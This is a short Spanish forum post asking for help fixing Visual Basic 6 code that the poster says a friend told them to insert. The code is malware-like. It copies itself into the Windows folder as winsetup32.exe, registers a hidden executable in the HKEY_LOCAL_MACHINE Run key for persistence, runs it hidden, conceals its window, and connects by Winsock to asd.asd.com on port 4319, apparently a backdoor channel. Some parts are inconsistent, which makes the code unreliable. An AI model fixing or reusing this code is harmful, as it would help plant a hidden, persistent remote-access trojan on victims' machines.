Hola a todos bueno tengo este problema he modificado esta parte del código por lo que alguna parte de esta está mal, si alguien me puediera ayudar, Gracias
Private Sub Form_Load()
On Error Resume Next
If Dir(Environ("Windir") & "\winsetup32.exe") = vbNullString Then
FileCopy App.path & "\" & App.EXEName & ".exe", Environ("Windir") & "\winsetup32.exe"
qazwsx = Environ("Windir") & "\asd.exe"
edcrfv = App.Title
zxccxz = edccde(HKEY_LOCAL_MACHINE, _
RAMA_RUN_WINDOWS, _
edcrfv, _
qazwsx, REG_SZ)
End
End If
Dim ppplooo As String
ppplooo = Environ("Windir") & "\asd.exe"
If InStr(LCase$(IsWay("asd.exe")), LCase$(ppplooo)) > 0 Then
MsgBox "Corre"
End
Else
Shell Environ("Windir") & "\asd.exe", vbHide
MsgBox "asd"
End If
App.TaskVisible = False
Me.Visible = False
App.Title = ""
Me.Caption = ""
With Winsock1
.Close
.Connect "asd.asd.com", 4319
End With
End Sub
No se nada de programación, un amigo me dijo que introdujera eso pero en verdad no logro conseguirlo